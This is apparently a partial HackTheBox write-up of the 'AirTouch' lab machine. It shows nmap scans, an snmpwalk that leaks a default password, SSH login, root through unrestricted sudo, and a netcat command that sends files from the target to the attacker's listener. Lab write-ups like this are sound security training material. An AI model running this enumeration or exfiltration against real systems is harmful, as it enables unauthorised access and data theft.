Box Writeup: Air Touch [MEDIUM]

Another box and first HackTheBox writeup. This is an medium difficulty box. Which drives me crazy for 2 days. But finally I get that...

As usaly, I started with an Nmap scan to identify open ports and services running on the target machine.

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/AirTouch]
└─$ nmap -sVC -p 22 10.129.244.98
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-26 19:28 IST
Nmap scan report for 10.129.244.98
Host is up (0.34s latency).
 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
|   256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_  256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.79 seconds

person

Hmmm...Only ssh port was open. I can't do much with only ssh port open and for sure i cannot bruteforce ssh without any username. So I decided to scan UDP ports as well.

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/AirTouch]
└─$ nmap -sU --top-ports 100 10.129.244.98
 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-26 19:33 IST
Nmap scan report for 10.129.244.98
Host is up (0.32s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp
 
Nmap done: 1 IP address (1 host up) scanned in 111.43 seconds

Ahh han SNMP port was open , but i don't know much about it. So I search basic snmp enumeration commands and found snmpwalk command. I runed it using default community string 'public'.

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/AirTouch]
└─$ snmpwalk -v2c -c public 10.129.244.98
 
iso.3.6.1.2.1.1.1.0 = STRING: ""The default consultant password is: melody-khao-khud-janjao (change it after use it)""
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (83831) 0:13:58.31
iso.3.6.1.2.1.1.4.0 = STRING: "admin@AirTouch.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "Consultant"
iso.3.6.1.2.1.1.6.0 = STRING: ""Consultant pc""
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (91116) 0:15:11.16
iso.3.6.1.2.1.25.1.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

Bingo! In the very first line I found the default password for 'Consultant' user is 'melody-khao-khud-janjao'.

I did ssh login using these credentials and I was in. and run ls -al to gain user flag.

consultant@AirTouch-Consultant:~$ ls -al
total 888
drwxr-xr-x 1 consultant consultant   4096 Jan 26 14:13 .
drwxr-xr-x 1 root       root         4096 Jan 13 14:55 ..
lrwxrwxrwx 1 consultant consultant      9 Mar 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 consultant consultant    220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 consultant consultant   3771 Feb 25  2020 .bashrc
drwx------ 2 consultant consultant   4096 Jan 26 14:13 .cache
-rw-r--r-- 1 consultant consultant    807 Feb 25  2020 .profile
-rw-r--r-- 1 consultant consultant 131841 Mar 27  2024 diagram-net.png
-rw-r--r-- 1 consultant consultant 743523 Mar 27  2024 photo_2023-03-01_22-04-52.png

There was no user flag in home directory. And as per second rule of my dictionary, I check sudo perivilages using sudo -l.

consultant@AirTouch-Consultant:~$ sudo -l
Matching Defaults entries for consultant on AirTouch-Consultant:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User consultant may run the following commands on AirTouch-Consultant:
    (ALL) NOPASSWD: ALL

excited kid

At that moment, I realized that i'm COOKED becuase no way a medium box will have such an easy privesc. I got root shell using sudo su. I checked /root directory and found nothing.

Very next thing, I get two images in consultant home directory using nc.

(Terminal 1 - Receiving the file)
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/AirTouch]
└─$ nc -l -p 4444 > diagram-net.png
 
(Terminal 2 - Sending the file)
consultant@AirTouch-Consultant:~$ nc 10.10.15.108 4444 < diagram-net.png
^C

Same for other image as well. And here is our images:

Okay, From the diagram image, I can see there is an Interprise network with 3 VLANs. This box is more about how a single VLAN can cause a big security issue in entire network.

mind blown

Full content writeup will be available when machine is retired.

By the way, It took 4 fucking DAYSSSS!!!